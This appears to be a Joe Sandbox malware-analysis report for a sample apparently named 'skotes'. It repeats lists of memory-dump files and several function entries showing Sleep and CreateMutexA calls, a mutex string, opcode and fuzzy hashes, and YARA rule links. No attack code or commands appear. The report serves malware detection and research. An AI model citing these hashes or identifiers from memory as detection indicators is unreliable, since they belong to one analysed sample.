Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 4993f9463aefa8f410dd4ea08f1f29fb938f115d3994b3d45fb38ee41d7febdf
Instruction ID: 1b25521a5ea7058b8f18f99517abf8f073bb76bb1ce50a1fa769a9a16cff0186
Opcode Fuzzy Hash: 4993f9463aefa8f410dd4ea08f1f29fb938f115d3994b3d45fb38ee41d7febdf
Instruction Fuzzy Hash: E9314A31B01104EBEB18AB7CDC89BADB772DF86314F24821DE014973D6D77EA9C48662

Function 0071A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: df3dd1decfd84fad63ec3511359c37fa40d8d3d76c4a994ca84626a652c47517
Instruction ID: 74c5c64dc59313559c75938215a807e9f16aeee01fc6f03935262f8182e23854
Opcode Fuzzy Hash: df3dd1decfd84fad63ec3511359c37fa40d8d3d76c4a994ca84626a652c47517
Instruction Fuzzy Hash: 1C310731B02104EBEB18AB7CDC89BADB772EFC6310F244619E014973D5D77E99C48662

Function 0071A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: f1a51bda18b48506a1d7ae35120c7888507f97fc46e9c32c5c827e6b75bbf441
Instruction ID: 74ac2e368db86ccd2cb66eb717df5315f44cb63eada6db88cd3330dd3ffe7e4d
Opcode Fuzzy Hash: f1a51bda18b48506a1d7ae35120c7888507f97fc46e9c32c5c827e6b75bbf441
Instruction Fuzzy Hash: 06312931B01140EBEB18ABBCD8C9BADB662EFC2314F244218E454973D6D77D69C48666

Function 0071A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 6057128c2dc04e0fe5b23dd970d207030c27efe18b25cd5b86b0cee5cae90770
Instruction ID: caca7350d5cf873027c3de672b6b3360b1283735b9f9f8700ae46756fd40c245
Opcode Fuzzy Hash: 6057128c2dc04e0fe5b23dd970d207030c27efe18b25cd5b86b0cee5cae90770
Instruction Fuzzy Hash: 34310931706100EBEB18AB7CD889BADB762EBC6314F248618E454972D6D73D99D08622

Function 0071A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 6dcec924ec19fdcd8ef21017e97938f939f4b2a79c33fdc166538be209de2f23
Instruction ID: ca17dd4fc7d2b095e096cfd51ddb6d36218784ccd811b718b81773e1ce0443dc
Opcode Fuzzy Hash: 6dcec924ec19fdcd8ef21017e97938f939f4b2a79c33fdc166538be209de2f23
Instruction Fuzzy Hash: 18312C31701100EBEB18EB7CDD89BADB772DB81314F248658E054D73D6D77D99C48662

Function 00719ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
